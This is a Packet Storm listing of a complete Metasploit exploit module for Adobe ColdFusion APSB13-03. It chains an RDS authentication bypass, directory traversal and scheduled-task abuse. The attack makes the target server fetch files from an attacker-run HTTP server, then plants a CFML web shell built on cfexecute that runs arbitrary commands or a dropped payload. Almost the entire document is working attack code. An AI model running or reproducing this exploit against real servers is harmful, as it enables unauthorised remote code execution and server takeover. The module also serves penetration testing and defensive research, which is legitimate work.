Lucene search

K
packetstormJon HartPACKETSTORM:121210
HistoryApr 10, 2013 - 12:00 a.m.

Adobe ColdFusion APSB13-03 Command Execution

2013-04-1000:00:00
Jon Hart
packetstormsecurity.com
50

0.973 High

EPSS

Percentile

99.9%

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
require 'digest/sha1'  
require 'openssl'  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::HttpServer  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Adobe ColdFusion APSB13-03',  
'Description' => %q{  
This module exploits a pile of vulnerabilities in Adobe ColdFusion APSB13-03:  
* CVE-2013-0625: arbitrary command execution in scheduleedit.cfm (9.x only)  
* CVE-2013-0629: directory traversal  
* CVE-2013-0632: authentication bypass  
},  
'Author' =>  
[  
'Jon Hart <jon_hart[at]rapid7.com', # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2013-0625'],  
[ 'CVE', '2013-0629'],  
# we don't actually exploit this, as this is the backdoor  
# dropped by malware exploiting the other vulnerabilities  
[ 'CVE', '2013-0631'],  
[ 'CVE', '2013-0632'],  
],  
'Targets' =>  
[  
['Automatic Targeting', { 'auto' => true }],  
[  
'Universal CMD',  
{  
'Arch' => ARCH_CMD,  
'Platform' => ['unix', 'win', 'linux']  
}  
]  
],  
'DefaultTarget' => 1,  
'Privileged' => true,  
'Platform' => [ 'win', 'linux' ],  
'DisclosureDate' => 'Jan 15 2013'))  
  
register_options(  
[  
Opt::RPORT(80),  
OptString.new('USERNAME', [ false, 'The username to authenticate as' ]),  
OptString.new('PASSWORD', [ false, 'The password for the specified username' ]),  
OptBool.new('USERDS', [ true, 'Authenticate with RDS credentials', true ]),  
OptString.new('CMD', [ false, 'Command to run rather than dropping a payload', '' ]),  
], self.class)  
  
register_advanced_options(  
[  
OptBool.new('DELETE_TASK', [ true, 'Delete scheduled task when done', true ]),  
], self.class)  
end  
  
def check  
exploitable = 0  
exploitable += 1 if check_cve_2013_0629  
exploitable += 1 if check_cve_2013_0632  
exploitable > 0 ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe  
end  
  
# Login any way possible, returning the cookies if successful, empty otherwise  
def login  
cf_cookies = {}  
  
ways = {  
'RDS bypass' => Proc.new { |foo| adminapi_login(datastore['USERNAME'], datastore['PASSWORD'], true) },  
'RDS login' => Proc.new { |foo| adminapi_login(datastore['USERNAME'], datastore['PASSWORD'], false) },  
'Administrator login' => Proc.new { |foo| administrator_login(datastore['USERNAME'], datastore['PASSWORD']) },  
}  
ways.each do |what, how|  
these_cookies = how.call  
if got_auth? these_cookies  
print_status "Authenticated using '#{what}' technique"  
cf_cookies = these_cookies  
break  
end  
end  
  
fail_with(Exploit::Failure::NoAccess, "Unable to authenticate") if cf_cookies.empty?  
cf_cookies  
end  
  
def exploit  
# login  
cf_cookies = login  
  
# if we managed to login, get the listener ready  
datastore['URIPATH'] = rand_text_alphanumeric(6)  
srv_uri = "http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}"  
start_service  
  
# drop a payload on disk which we can used to execute  
# arbitrary commands, which will be needed regardless of  
# which technique (cmd, payload) the user wants  
input_exec = srv_uri + "/#{datastore['URIPATH']}-e"  
output_exec = "#{datastore['URIPATH']}-e.cfm"  
schedule_drop cf_cookies, input_exec, output_exec  
  
if datastore['CMD'] and not datastore['CMD'].empty?  
# now that the coldfusion exec is on disk, execute it,  
# passing in the command and arguments  
parts = datastore['CMD'].split(/\s+/)  
res = execute output_exec, parts.shift, parts.join(' ')  
print_line res.body.strip  
else  
# drop the payload  
input_payload = srv_uri + "/#{datastore['URIPATH']}-p"  
output_payload = "#{datastore['URIPATH']}-p"  
schedule_drop cf_cookies, input_payload, output_payload  
# make the payload executable  
# XXX: windows?  
execute output_exec, 'chmod', "755 ../../wwwroot/CFIDE/#{output_payload}"  
# execute the payload  
execute output_exec, "../../wwwroot/CFIDE/#{output_payload}"  
end  
handler  
end  
  
def execute cfm, cmd, args=''  
uri = "/CFIDE/" + cfm + "?cmd=#{cmd}&args=#{Rex::Text::uri_encode args}"  
send_request_raw( { 'uri' => uri, 'method' => 'GET' }, 25 )  
end  
  
def on_new_session(client)  
return  
# TODO: cleanup  
if client.type == "meterpreter"  
client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")  
@files.each do |file|  
client.fs.file.rm("#{file}")  
end  
else  
@files.each do |file|  
client.shell_command_token("rm #{file}")  
end  
end  
end  
  
def on_request_uri cli, request  
cf_payload = "test"  
case request.uri  
when "/#{datastore['URIPATH']}-e"  
cf_payload = <<-EOF  
<cfparam name="url.cmd" type="string" default="id"/>  
<cfparam name="url.args" type="string" default=""/>  
<cfexecute name=#url.cmd# arguments=#url.args# timeout="5" variable="output" />  
<cfoutput>#output#</cfoutput>  
EOF  
when "/#{datastore['URIPATH']}-p"  
cf_payload = payload.encoded  
end  
send_response(cli, cf_payload, { 'Content-Type' => 'text/html' })  
end  
  
  
# Given a hash of cookie key value pairs, return a string  
# suitable for use as an HTTP Cookie header  
def build_cookie_header cookies  
cookies.to_a.map { |a| a.join '=' }.join '; '  
end  
  
# this doesn't actually work  
def twiddle_csrf cookies, enable=false  
mode = (enable ? "Enabling" : "Disabling")  
print_status "#{mode} CSRF protection"  
params = {  
'SessEnable' => enable.to_s,  
}  
res = send_request_cgi(  
{  
'uri' => normalize_uri(target_uri.path, "/CFIDE/administrator/settings/memoryvariables.cfm"),  
'method' => 'POST',  
'connection' => 'TE, close',  
'cookie' => build_cookie_header(cookies),  
'vars_post' => params,  
})  
if res  
if res.body =~ /SessionManagement should/  
print_error "Error #{mode} CSRF"  
end  
else  
print_error "No response while #{mode} CSRF"  
end  
end  
  
# Using the provided +cookies+, schedule a ColdFusion task  
# to request content from +input_uri+ and drop it in +output_path+  
def schedule_drop cookies, input_uri, output_path  
vprint_status "Attempting to schedule ColdFusion task"  
cookie_hash = cookies  
  
scheduletasks_path = "/CFIDE/administrator/scheduler/scheduletasks.cfm"  
scheduleedit_path = "/CFIDE/administrator/scheduler/scheduleedit.cfm"  
# make a request to the scheduletasks page to pick up the CSRF token  
res = send_request_cgi(  
{  
'uri' => normalize_uri(target_uri.path, scheduletasks_path),  
'method' => 'GET',  
'connection' => 'TE, close',  
'cookie' => build_cookie_header(cookie_hash),  
})  
cookie_hash.merge! get_useful_cookies res  
  
if res  
# XXX: I can only seem to get this to work if 'Enable Session Variables'  
# is disabled (Server Settings -> Memory Variables)  
token = res.body.scan(/<input type="hidden" name="csrftoken" value="([^\"]+)"/).flatten.first  
unless token  
print_warning "Empty CSRF token found -- either CSRF is disabled (good) or we couldn't get one (bad)"  
#twiddle_csrf cookies, false  
token = ''  
end  
else  
fail_with(Exploit::Failure::Unknown, "No response when trying to GET scheduletasks.cfm for task listing")  
end  
  
# make a request to the scheduletasks page again, this time passing in our CSRF token  
# in an attempt to get all of the other cookies used in a request  
cookie_hash.merge! get_useful_cookies res  
res = send_request_cgi(  
{  
'uri' => normalize_uri(target_uri.path, scheduletasks_path) + "?csrftoken=#{token}&submit=Schedule+New+Task",  
'method' => 'GET',  
'connection' => 'TE, close',  
'cookie' => build_cookie_header(cookie_hash),  
})  
  
fail_with(Exploit::Failure::Unknown, "No response when trying to GET scheduletasks.cfm for new task") unless res  
  
# pick a unique task ID  
task_id = SecureRandom.uuid  
# drop the backdoor in the CFIDE directory so it can be executed  
publish_file = '../../wwwroot/CFIDE/' + output_path  
# pick a start date. This must be in the future, so pick  
# one sufficiently far ahead to account for time zones,  
# improper time keeping, solar flares, drift, etc.  
start_date = "03/15/#{Time.now.strftime('%Y').to_i + 1}"  
params = {  
'csrftoken' => token,  
'TaskName' => task_id,  
'Group' => 'default',  
'Start_Date' => start_date,  
'End_Date' => '',  
'ScheduleType' => 'Once',  
'StartTimeOnce' => '1:37 PM',  
'Interval' => 'Daily',  
'StartTimeDWM' => '',  
'customInterval_hour' => '0',  
'customInterval_min' => '0',  
'customInterval_sec' => '0',  
'CustomStartTime' => '',  
'CustomEndTime' => '',  
'repeatradio' => 'norepeatforeverradio',  
'Repeat' => '',  
'crontime' => '',  
'Operation' => 'HTTPRequest',  
'ScheduledURL' => input_uri,  
'Username' => '',  
'Password' => '',  
'Request_Time_out' => '',  
'proxy_server' => '',  
'http_proxy_port' => '',  
'publish' => '1',  
'publish_file' => publish_file,  
'publish_overwrite' => 'on',  
'eventhandler' => '',  
'exclude' => '',  
'onmisfire' => '',  
'onexception' => '',  
'oncomplete' => '',  
'priority' => '5',  
'retrycount' => '3',  
'advancedmode' => 'true',  
'adminsubmit' => 'Submit',  
'taskNameOriginal' => task_id,  
'groupOriginal' => 'default',  
'modeOriginal' => 'server',  
}  
  
cookie_hash.merge! (get_useful_cookies res)  
res = send_request_cgi(  
{  
'uri' => normalize_uri(target_uri.path, scheduleedit_path),  
'method' => 'POST',  
'connection' => 'TE, close',  
'cookie' => build_cookie_header(cookie_hash),  
'vars_post' => params,  
})  
  
if res  
# if there was something wrong with the task, capture those errors  
# print them and abort  
errors = res.body.scan(/<li class="errorText">(.*)<\/li>/i).flatten  
if errors.empty?  
if res.body =~ /SessionManagement should/  
fail_with(Exploit::Failure::NoAccess, "Unable to bypass CSRF")  
end  
print_status "Created task #{task_id}"  
else  
fail_with(Exploit::Failure::NoAccess, "Unable to create task #{task_id}: #{errors.join(',')}")  
end  
else  
fail_with(Exploit::Failure::Unknown, "No response when creating task #{task_id}")  
end  
  
print_status "Executing task #{task_id}"  
res = send_request_cgi(  
{  
'uri' => normalize_uri(target_uri.path, scheduletasks_path) + "?runtask=#{task_id}&csrftoken=#{token}&group=default&mode=server",  
'method' => 'GET',  
'connection' => 'TE, close',  
'cookie' => build_cookie_header(cookie_hash),  
})  
  
#twiddle_csrf cookies, true  
if datastore['DELETE_TASK']  
print_status "Removing task #{task_id}"  
res = send_request_cgi(  
{  
'uri' => normalize_uri(target_uri.path, scheduletasks_path) + "?action=delete&task=#{task_id}&csrftoken=#{token}",  
'method' => 'GET',  
'connection' => 'TE, close',  
'cookie' => build_cookie_header(cookie_hash),  
})  
end  
  
vprint_status normalize_uri(target_uri, publish_file)  
publish_file  
end  
  
# Given the HTTP response +res+, extract any interesting, non-empty  
# cookies, returning them as a hash  
def get_useful_cookies res  
set_cookie = res.headers['Set-Cookie']  
# Parse the Set-Cookie header  
parsed_cookies = CGI::Cookie.parse(set_cookie)  
  
# Clean up the cookies we got by:  
# * Dropping Path and Expires from the parsed cookies -- we don't care  
# * Dropping empty (reset) cookies  
%w(Path Expires).each do |ignore|  
parsed_cookies.delete ignore  
parsed_cookies.delete ignore.downcase  
end  
parsed_cookies.keys.each do |name|  
parsed_cookies[name].reject! { |value| value == '""' }  
end  
parsed_cookies.reject! { |name,values| values.empty? }  
  
# the cookies always seem to start with CFAUTHORIZATION_, but  
# give the module the ability to log what it got in the event  
# that this stops becoming an OK assumption  
unless parsed_cookies.empty?  
vprint_status "Got the following cookies after authenticating: #{parsed_cookies}"  
end  
cookie_pattern = /^CF/  
useful_cookies = parsed_cookies.select { |name,value| name =~ cookie_pattern }  
if useful_cookies.empty?  
vprint_status "No #{cookie_pattern} cookies found"  
else  
vprint_status "The following cookies could be used for future authentication: #{useful_cookies}"  
end  
useful_cookies  
end  
  
# Authenticates to ColdFusion Administrator via the adminapi using the  
# specified +user+ and +password+. If +use_rds+ is true, it is assumed that  
# the provided credentials are for RDS, otherwise they are assumed to be  
# credentials for ColdFusion Administrator.  
#  
# Returns a hash (cookie name => value) of the cookies obtained  
def adminapi_login user, password, use_rds  
vprint_status "Attempting ColdFusion Administrator adminapi login"  
user ||= ''  
password ||= ''  
res = send_request_cgi(  
{  
'uri' => normalize_uri(target_uri.path, %w(CFIDE adminapi administrator.cfc)),  
'method' => 'POST',  
'connection' => 'TE, close',  
'vars_post' => {  
'method' => 'login',  
'adminUserId' => user,  
'adminPassword' => password,  
'rdsPasswordAllowed' => (use_rds ? '1' : '0')  
}  
})  
  
if res  
if res.code == 200  
vprint_status "HTTP #{res.code} when authenticating"  
return get_useful_cookies(res)  
else  
print_error "HTTP #{res.code} when authenticating"  
end  
else  
print_error "No response when authenticating"  
end  
  
{}  
end  
  
# Authenticates to ColdFusion Administrator using the specified +user+ and  
# +password+  
#  
# Returns a hash (cookie name => value) of the cookies obtained  
def administrator_login user, password  
cf_cookies = administrator_9x_login user, password  
unless got_auth? cf_cookies  
cf_cookies = administrator_10x_login user, password  
end  
cf_cookies  
end  
  
def administrator_10x_login user, password  
# coldfusion 10 appears to do:  
# cfadminPassword.value = hex_sha1(cfadminPassword.value)  
vprint_status "Trying ColdFusion 10.x Administrator login"  
res = send_request_cgi(  
{  
'uri' => normalize_uri(target_uri.path, %w(CFIDE administrator enter.cfm)),  
'method' => 'POST',  
'vars_post' => {  
'cfadminUserId' => user,  
'cfadminPassword' => Digest::SHA1.hexdigest(password).upcase,  
'requestedURL' => '/CFIDE/administrator/index.cfm',  
'submit' => 'Login',  
}  
})  
  
if res  
if res.code.to_s =~ /^30[12]/  
useful_cookies = get_useful_cookies res  
if got_auth? useful_cookies  
return useful_cookies  
end  
else  
if res.body =~ /<title>Error/i  
print_status "Appears to be restricted and/or not ColdFusion 10.x"  
elsif res.body =~ /A License exception has occurred/i  
print_status "Is license restricted"  
else  
vprint_status "Got unexpected HTTP #{res.code} response when sending a ColdFusion 10.x request. Not 10.x?"  
vprint_status res.body  
end  
end  
end  
  
return {}  
end  
  
def got_auth? cookies  
not cookies.select { |name,values| name =~ /^CFAUTHORIZATION_/ }.empty?  
end  
  
def administrator_9x_login user, password  
vprint_status "Trying ColdFusion 9.x Administrator login"  
# coldfusion 9 appears to do:  
# cfadminPassword.value = hex_hmac_sha1(salt.value, hex_sha1(cfadminPassword.value));  
#  
# You can get a current salt from  
# http://<host>:8500/CFIDE/adminapi/administrator.cfc?method=getSalt&name=CFIDE.adminapi.administrator&path=/CFIDE/adminapi/administrator.cfc#method_getSalt  
#  
# Unfortunately that URL might be restricted and the salt really just looks  
# to be the current time represented as the number of milliseconds since  
# the epoch, so just use that  
salt = (Time.now.to_i * 1000).to_s  
pass = OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('sha1'), salt, Digest::SHA1.hexdigest(password).upcase).upcase  
res = send_request_cgi(  
{  
'uri' => normalize_uri(target_uri.path, %w(CFIDE administrator enter.cfm)),  
'method' => 'POST',  
'vars_post' => {  
'submit' => 'Login',  
'salt' => salt,  
'cfadminUserId' => user,  
'requestedURL' => '/CFIDE/administrator/index.cfm',  
'cfadminPassword' => pass,  
}  
})  
if res  
return get_useful_cookies res  
else  
print_error "No response while trying ColdFusion 9.x authentication"  
end  
  
{}  
end  
  
# Authenticates to ColdFusion ComponentUtils using the specified +user+ and +password+  
#  
# Returns a hash (cookie name => value) of the cookies obtained  
def componentutils_login user, password  
vprint_status "Attempting ColdFusion ComponentUtils login"  
vars = {  
'j_password_required' => "Password+Required",  
'submit' => 'Login',  
}  
vars['rdsUserId'] = user if user  
vars['j_password'] = password if password  
res = send_request_cgi(  
{  
'uri' => normalize_uri(target_uri.path, %w(CFIDE componentutils cfcexplorer.cfc)),  
'method' => 'POST',  
'connection' => 'TE, close',  
'vars_post' => vars  
})  
  
cf_cookies = {}  
if res.code.to_s =~ /^(?:200|30[12])$/  
cf_cookies = get_useful_cookies res  
else  
print_error "HTTP #{res.code} while attempting ColdFusion ComponentUtils login"  
end  
  
cf_cookies  
end  
  
def check_cve_2013_0629  
vulns = 0  
paths = %w(../../../license.txt ../../../../license.html)  
  
# first try password-less bypass in the event that this thing  
# was just wide open  
vuln_without_creds = false  
paths.each do |path|  
if (traverse_read path, nil) =~ /ADOBE SYSTEMS INCORPORATED/  
vulns += 1  
vuln_without_creds = true  
break  
end  
end  
  
if vuln_without_creds  
print_status "#{datastore['RHOST']} is vulnerable to CVE-2013-0629 without credentials"  
else  
print_status "#{datastore['RHOST']} is not vulnerable to CVE-2013-0629 without credentials"  
end  
  
# if credentials are provided, try those too  
if datastore['USERNAME'] and datastore['PASSWORD']  
vuln_without_bypass = false  
paths.each do |path|  
cf_cookies = componentutils_login datastore['USERNAME'], datastore['PASSWORD']  
if (traverse_read path, cf_cookies) =~ /ADOBE SYSTEMS INCORPORATED/  
vulns += 1  
vuln_without_bypass = true  
break  
end  
end  
  
if vuln_without_bypass  
print_status "#{datastore['RHOST']} is vulnerable to CVE-2013-0629 with credentials"  
else  
print_status "#{datastore['RHOST']} is not vulnerable to CVE-2013-0629 with credentials"  
end  
end  
  
# now try with the CVE-2013-0632 bypass, in the event that this wasn't *totally* wide open  
vuln_with_bypass = false  
paths.each do |path|  
cf_cookies = adminapi_login datastore['USERNAME'], datastore['PASSWORD'], true  
# we need to take the cookie value from CFAUTHORIZATION_cfadmin  
# and use it for CFAUTHORIZATION_componentutils  
cf_cookies['CFAUTHORIZATION_componentutils'] = cf_cookies['CFAUTHORIZATION_cfadmin']  
cf_cookies.delete 'CFAUTHORIZATION_cfadmin'  
if (traverse_read path, cf_cookies) =~ /ADOBE SYSTEMS INCORPORATED/  
vulns += 1  
vuln_with_bypass = true  
break  
end  
end  
  
if vuln_with_bypass  
print_status "#{datastore['RHOST']} is vulnerable to CVE-2013-0629 in combination with CVE-2013-0632"  
else  
print_status "#{datastore['RHOST']} is not vulnerable to CVE-2013-0629 in combination with CVE-2013-0632"  
end  
  
vulns > 0  
end  
  
# Checks for CVE-2013-0632, returning true if the target is  
# vulnerable, false otherwise  
def check_cve_2013_0632  
if datastore['USERDS']  
# the vulnerability for CVE-2013-0632 is that if RDS is disabled during install but  
# subsequently *enabled* after install, the password is unset so we simply must  
# check that and only that.  
cf_cookies = adminapi_login 'foo', 'bar', true  
if cf_cookies.empty?  
print_status "#{datastore['RHOST']} is not vulnerable to CVE-2013-0632"  
else  
print_status "#{datastore['RHOST']} is vulnerable to CVE-2013-0632"  
return true  
end  
else  
print_error "Cannot test #{datastore['RHOST']} CVE-2013-0632 with USERDS off"  
end  
false  
end  
  
def traverse_read path, cookies  
uri = normalize_uri(target_uri.path)  
uri << "CFIDE/componentutils/cfcexplorer.cfc?method=getcfcinhtml&name=CFIDE.adminapi.administrator&path="  
uri << path  
res = send_request_cgi(  
{  
'uri' => uri,  
'method' => 'GET',  
'connection' => 'TE, close',  
'cookie' => build_cookie_header(cookies)  
})  
res.body.gsub(/\r\n?/, "\n").gsub(/.<html>.<head>.<title>Component.*/m, '')  
end  
end  
`